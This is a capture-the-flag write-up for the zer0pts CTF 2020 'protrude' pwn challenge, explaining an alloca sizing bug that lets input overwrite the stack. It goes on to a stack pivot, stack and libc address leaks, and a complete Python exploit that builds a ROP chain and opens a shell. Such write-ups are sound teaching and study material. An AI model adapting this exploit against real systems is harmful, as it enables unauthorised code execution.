# [zer0pts CTF 2020] protrude ###### tags: `zer0pts CTF` `pwn` ## Overview We're given the binary, libc, and the source code. PIE and RELRO are disabled :\) ``` $ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols Yes 0 6 chall ``` The program is so simple that it just calculates the sum. ``` $ ./chall n = 3 num[1] = 1 num[2] = 2 num[3] = 3 SUM = 6 ``` ## Solution ### Vulnerability We can specify the count of numbers. Let's check the source code. Firstable, `n` must be larger than 0 and less or equal to 22. It uses `alloca` to allocate the array. ```cpp array = (long*)alloca(n * 4); ``` At first glance it's secure. However, `array` is defined as below. ```cpp long *array; ``` `long` is usually 8 bytes long, which may cause **Stack Overflow**. Let's set `n` to 22 and check how it works. ``` $ ./chall n = 22 num[1] = 1 num[2] = 2 num[3] = 3 num[4] = 4 num[5] = 5 num[6] = 6 num[7] = 7 num[8] = 8 num[9] = 9 num[10] = 0 num[11] = 1 num[12] = 2 num[13] = 3 num[14] = 4 num[15] = 5 num[7] = 6 num[8] = 7 num[9] = 8 num[10] = 9 ``` You can see that the counter roll backs because it's overwritten during the input. ### ROP The stack layout when n=22: ``` pwndbg> x/24xg $rsp 0x7fffffffdc30: 0x000000000000007b 0x0000000000000b40 0x7fffffffdc40: 0x00000000f70518b0 0xffffffffffffffff 0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 0x7fffffffdc60: 0x00007fffffffdcd0 0x00000000004006e0 0x7fffffffdc70: 0x00007fffffffddc0 0x0000000000000000 0x7fffffffdc80: 0x0000000000000000 0x0000000000400835 0x7fffffffdc90: 0x00007ffff7dd0680 0x00000003f7a65237 0x7fffffffdca0: 0x0000000000000001 0x0000000000000000 <-- i (0x7fffffffdca0) 0x7fffffffdcb0: 0x00007fffffffdc30 0xb62cb18e04737800 0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcd0: 0x00007fffffffdce0 0x0000000000400a0e <-- return address (0x7fffffffdcd8) 0x7fffffffdce0: 0x0000000000400a20 0x00007ffff7a05b97 ``` We can overwrite the return address by 22th loop but we can't write further more. `n` is not on the stack and we can't change the upper bound. Changing `i` will just break the loop. Thus we can't simply do ROP. ### Stack Pivot You'll find the following code at the end of `calc_sum`. ``` 4009b7: c9 leave 4009b8: c3 ret ``` `leave` is an instruction to set rsp to rbp and rbp to saved rbp. As we can overwrite the saved rbp, we can control rbp here. On the other hand, the tail of `main` function is like this: ``` 400a10: e8 79 fe ff ff call 40088e <calc_sum> 400a15: b8 00 00 00 00 mov eax,0x0 400a1a: 5d pop rbp 400a1b: c3 ret ``` Unfortunately we don't have leave gadget as main has no variable. Here we set the return address to `leave; ret;` in order to control rsp. ### Leaking the Stack Address We have RSP control, but it's not useful now. We need some leak. Let's see what the sum tells us. The sum is basically "the sum" of our input. However, we can control `i` during the input, which allows us to skip some data. Let's see what's after `i`: ``` 0x7fffffffdca0: 0x0000000000000001 0x0000000000000000 0x7fffffffdcb0: 0x00007fffffffdc30 0xb62cb18e04737800 0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcd0: 0x00007fffffffdce0 0x0000000000400a0e ``` There're 2 stack addresses and 1 canary value. It seems we can leak the stack address, but we can't calculate it by the sum because canary value is unpredictable. So, we call `calc_sum` twice by overwriting the return address. The 2 values leaked by the sum are: $$ S_0 = 2 \times stack + canary + 176\\ S_1 = stack + canary + 176 + \Delta $$ \*Assume the address at 0x7fffffffdcb0(0x00007fffffffdc30)as $stack$ $\Delta$ is the difference of rsp in the 1st and 2nd `calc_sum`. We can get the stack address by solving this equation. ### Plan We have the stack address and can control RSP. So, we can run ROP chain! We just have to leak the libc base and get the shell. ```python= from ptrlib import * def calc_sum(n, array): sock.sendlineafter("n = ", str(n)) for elm in array: sock.sendlineafter(" = ", str(elm)) sock.recvuntil("SUM = ") return int(sock.recvline()) elf = ELF("../distfiles/chall") rop_pop_rdi = 0x00400a83 rop_ret = 0x00400646 rop_leave_ret = 0x00400849 """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("../distfiles/chall") libc_one_gadget = 0x10a38c """ libc = ELF("../distfiles/libc-2.23.so") sock = Socket("localhost", 9005) libc_one_gadget = 0xf02a4 #""" # 1) leak stack address # We get 14+14+(array)+(canary)+(array+0xb0)+(_start) n, payload = 22, [0 for i in range(16)] payload[-2] = 20 payload[-1] = elf.symbol("_start") r1 = calc_sum(n, payload) logger.info("r1 = " + str(r1)) # We get 14+14+(array-0xe0)+(canary)+(_start) n, payload = 22, [0 for i in range(19)] payload[-5] = 17 payload[-4] = 0 payload[-3] = 0 payload[-2] = 0 # saved rbp = 0 payload[-1] = elf.symbol("_start") r2 = calc_sum(n, payload) logger.info("r2 = " + str(r2)) # Now we can calculate the address of array addr_array = (r1 - 28 - 0xb0) - (r2 - 28 + 0xe0) logger.info("array = " + hex(addr_array)) # 2) leak libc base # We can overwrite saved rbp to our rop chain (array) # and return to `leave` gadget will execute the chain n, payload = 22, [0 for i in range(17)] payload[1] = rop_pop_rdi payload[2] = elf.got("puts") payload[3] = elf.plt("puts") payload[4] = elf.symbol("_start") payload[-3] = 19 payload[-2] = addr_array - 0x1c0 payload[-1] = rop_leave_ret calc_sum(n, payload) libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc base = " + hex(libc_base)) # 3) get the shell! n, payload = 22, [0 for i in range(16)] payload[-2] = 20 payload[-1] = libc_base + libc_one_gadget calc_sum(n, payload) sock.interactive() ```